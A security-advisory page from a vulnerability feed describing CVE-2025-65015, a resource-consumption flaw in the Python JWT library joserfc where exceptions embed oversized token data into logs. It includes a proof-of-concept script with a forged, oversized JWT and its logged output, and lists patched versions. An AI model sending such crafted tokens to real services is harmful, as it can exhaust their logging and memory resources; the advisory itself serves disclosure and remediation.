KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 18:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2025-65015

joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads

The ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload.

Published Updated

At a glance

Exploited
Not known
Severity
9.2 Critical (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: joserfc: 1.3.5; joserfc: 1.4.2. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-frfh-8v73-gjg4 (opens a new tab)

What happened

Summary

The ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload.

Details

In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation.

Continue reading

The same behavior also appears when validating claims and signature payload sizes, as the library raises joserfc.errors.ExceededSizeError() with the full payload embedded in the exception message. Since the payload is already fully loaded into memory at this stage, the library cannot prevent or reject it per se.

It is therefore the responsibility of the underlying web server (uvicorn/h11, gunicorn, Starlette, Werkzeug, nginx...etc) to enforce limits on header sizes. For example, a FastAPI/Starlette application running _without_ uvicorn and/or gunicorn cannot enforce header size limits on its own. With uvicorn/h11, the [--h11-max-incomplete-event-size ](https://uvicorn.

dev/settings/#implementation:~:text=%2D%2Dh11%2Dmax%2Dincomplete%2Devent%2Dsize%20%3Cint%3E) option can restrict the total size of the header _plus_ body, but not the header alone. Similarly, [vLLM serve](https://docs.vllm.

ai/en/latest/cli/serve/#-h11-max-incomplete-event-size) —due to its reliance on uvicorn/h11 and the need for heavy data transfer in ML inference workloads, sets a default limit of 4 MB for header _plus_ body and is frequently increased. In practice, a robust reverse proxy (such as nginx) is typically required because it can explicitly cap maximum header size.

Unfortunately, many web applications do not run behind a proper reverse proxy.

Given these constraints, the joserfc library cannot safely log or embed payloads of arbitrary size. This issue is particularly subtle, as it occurs only when a maliciously crafted JWT finally reaches the Python application, a scenario that most developers will never encounter during routine development and testing.

PoC

Environment Ubuntu 24.04 LTS Python 3.12 Tested on joserfc version 1.4.1


import logging
from datetime import UTC, datetime, timedelta

from joserfc import jwt
from joserfc.errors import ExceededSizeError, UnsupportedAlgorithmError
from joserfc.jwk import OctKey

logger = logging.getLogger(__name__)

SECRET_KEY = "8c13bd66babc241b29f8553429bdab7deb6f5b74ddfda7765471e57ecd55641e"
LONG_JWT_TOKEN = (
 "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ"
 "."
 "eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ"
 "."
 "6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8"
)

HEADER = {
 "alg": (
 "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
 "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
 "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
 "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
 "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
 "RS256dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"
 ),
}
CLAIMS = {
 "iss": "auth_server",
 "iat": datetime.now(UTC),
 "exp": datetime.now(UTC) + timedelta(minutes=15),
}

def main():
 # Create OctKey from SECRET_KEY
 key = OctKey.import_key(SECRET_KEY)

 # Simulate creating a very large JWT
 # (this will fail with joserfc.errors.UnsupportedAlgorithmError
 # due to an invalid 'alg' header content
 try:
 token = jwt.encode(HEADER, CLAIMS, key)
 except UnsupportedAlgorithmError:
 # Use a forged token that has the same header and claims instead
 # but an invalid signature
 token = LONG_JWT_TOKEN
 logger.warning(f"Created JWT: {token}")

 # Now try to decode the large JWT
 try:
 decoded_token = jwt.decode(token, key)
 logger.warning("This line will never be reached.")
 logger.warning(decoded_token.claims)
 except ExceededSizeError:
 logger.exception(
 "The JWT size is too large and may be a security attack attempt."
 )
 # this is logging the whole header content in the exception message!
Created JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRSUzI1NmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQifQ.eyJpc3MiOiJhdXRoX3NlcnZlciIsImlhdCI6MTc2MzI0OTEwMSwiZXhwIjoxNzY5MjQ5MTAxfQ.6-k2jmkGXD6wXOgYgjPS8E5lS_GjWpgIuY54gokjAn8
The JWT size is too large and may be a security attack attempt.
Traceback (most recent call last):
 File "security_issue.py", line 55, in main
 claims = jwt.decode(token, key)
 ^^^^^^^^^^^^^^^^^^^^^^
 File ".venv/lib/python3.12/site-packages/joserfc/jwt.py", line 106, in decode
 header, payload = _decode_jws(_value, key, algorithms, registry)
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 File ".venv/lib

Affected package ranges reported by GitHub:
joserfc: >= 1.3.3, < 1.3.5
joserfc: >= 1.4.0, < 1.4.2

Scores and how they were measured

CVSS base severity

9.2

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-frfh-8v73-gjg4 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-frfh-8v73-gjg4, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads (CVE-2025-65015). https://kevwire.com/record/CVE-2025-65015

MLA

"joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads (CVE-2025-65015)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2025-65015.

Chicago

KEVWire. "joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads (CVE-2025-65015)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2025-65015.

Evidence summary (plain text)

joserfc has Possible Uncontrolled Resource Consumption Vulnerability Triggered by Logging Arbitrarily Large JWT Token Payloads (Nov 18, 2025).
The ExceededSizeError exception messages are embedded with non-decoded JWT token parts and may cause Python logging to record an arbitrarily large, forged JWT payload.

In situations where a misconfigured — or entirely absent — production-grade web server sits in front of a Python web application, an attacker may be able to send arbitrarily large bearer tokens in the HTTP request headers. When this occurs, Python logging or diagnostic tools (e.g., Sentry) may end up processing extremely large log messages containing the full JWT header during the joserfc.jwt.decode() operation.
CVSS 9.2 (version 4.0; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-frfh-8v73-gjg4).
Sources:
GitHub-reviewed advisory GHSA-frfh-8v73-gjg4: https://github.com/advisories/GHSA-frfh-8v73-gjg4
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-65015.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 18:10 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail